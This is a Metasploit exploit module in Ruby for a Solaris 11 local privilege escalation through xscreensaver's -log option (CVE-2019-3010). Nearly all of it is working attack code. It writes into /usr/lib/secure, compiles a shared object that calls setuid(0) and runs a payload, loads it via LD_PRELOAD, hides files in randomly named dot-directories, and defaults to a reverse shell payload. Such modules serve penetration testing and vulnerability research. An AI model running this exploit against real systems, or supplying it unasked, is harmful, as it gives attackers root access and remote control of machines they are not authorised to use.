Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Solaris::Priv  
include Msf::Post::Solaris::System  
include Msf::Post::Solaris::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Solaris xscreensaver log Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in `xscreensaver` versions  
since 5.06 on unpatched Solaris 11 systems which allows users  
to gain root privileges.  
  
`xscreensaver` allows users to create a user-owned file at any  
location on the filesystem using the `-log` command line argument  
introduced in version 5.06.  
  
This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,  
overwrites the log file with a shared object, and executes the shared  
object using the `LD_PRELOAD` environment variable.  
  
This module has been tested successfully on:  
  
xscreensaver version 5.15 on Solaris 11.1 (x86); and  
xscreensaver version 5.15 on Solaris 11.3 (x86).  
},  
'References' =>  
[  
['CVE', '2019-3010'],  
['EDB', '47509'],  
['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],  
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],  
['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],  
['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']  
],  
'Notes' => { 'AKA' => ['raptor_xscreensaver'] },  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Marco Ivaldi', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2019-10-16',  
'Privileged' => true,  
'Platform' => ['solaris', 'unix'],  
'Arch' => [ARCH_CMD],  
'Targets' => [['Auto', {}]],  
'SessionTypes' => ['shell', 'meterpreter'],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/reverse_ksh',  
'WfsDelay' => 10,  
'PrependFork' => true  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),  
OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])  
]  
register_advanced_options [  
OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def xscreensaver_path  
datastore['XSCREENSAVER_PATH']  
end  
  
def xorg_path  
datastore['XORG_PATH']  
end  
  
def mkdir(path)  
vprint_status "Creating directory '#{path}'"  
cmd_exec "mkdir -p '#{path}'"  
register_dir_for_cleanup path  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
register_file_for_cleanup path  
end  
  
def check  
unless setuid? xscreensaver_path  
vprint_error "#{xscreensaver_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{xscreensaver_path} is setuid"  
  
unless has_gcc?  
vprint_error 'gcc is not installed'  
return CheckCode::Safe  
end  
vprint_good 'gcc is installed'  
  
xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first  
if xscreensaver_version.to_s.eql? ''  
vprint_error 'Could not determine xscreensaver version'  
return CheckCode::Detected  
end  
  
# Bug introduced in version 5.06. Patched in version <~ 5.42.  
unless Gem::Version.new(xscreensaver_version).between?(Gem::Version.new('5.06'), Gem::Version.new('5.41'))  
vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"  
  
CheckCode::Appears  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless [CheckCode::Detected, CheckCode::Appears].include? check  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
# Set display  
display = cmd_exec 'echo $DISPLAY'  
kill_xorg = false  
  
if display.to_s.blank?  
display = datastore['Xdisplay']  
print_status "Starting Xorg on display #{display} ..."  
cmd_exec "#{xorg_path} #{display} & echo "  
kill_xorg = true  
else  
print_status "Using Xorg display #{display} ..."  
end  
  
# Create writable log file in /usr/lib/secure/  
lib_name = rand_text_alphanumeric 5..10  
if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'  
secure_path = "/usr/lib/secure/64/"  
else  
secure_path = "/usr/lib/secure/"  
end  
lib_path = "#{secure_path}#{lib_name}.so"  
  
print_status "Creating log file #{lib_path} ..."  
cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "  
  
Rex.sleep(5)  
  
cmd_exec 'pkill -U `whoami` -n xscreensaver'  
if kill_xorg  
cmd_exec 'pkill -U `whoami` -n Xorg'  
end  
  
unless writable? lib_path  
fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"  
end  
  
register_file_for_cleanup lib_path  
  
# Upload and compile shared object  
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"  
mkdir base_path  
  
payload_name = ".#{rand_text_alphanumeric 5..10}"  
payload_path = "#{base_path}/#{payload_name}"  
  
so = <<-EOF  
#include <unistd.h>  
void __attribute__((constructor)) cons() {  
setuid(0);  
setgid(0);  
unlink("#{lib_path}");  
execle("#{payload_path}", "", NULL, NULL);  
_exit(0);  
}  
EOF  
  
so_name = ".#{rand_text_alphanumeric 5..10}"  
so_path = "#{base_path}/#{so_name}"  
upload_and_compile so_path, so  
  
# Overwrite newly created log file with compiled shared object  
vprint_status "Writing shared object to #{lib_path}"  
cmd_exec "cp '#{so_path}' '#{lib_path}'"  
  
# Upload and execute payload  
if payload.arch.first.to_s == 'cmd'  
upload payload_path, "#!/bin/sh\n#{payload.encoded}"  
else  
upload payload_path, generate_payload_exe  
end  
chmod payload_path  
  
print_status 'Executing payload...'  
cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "  
end  
end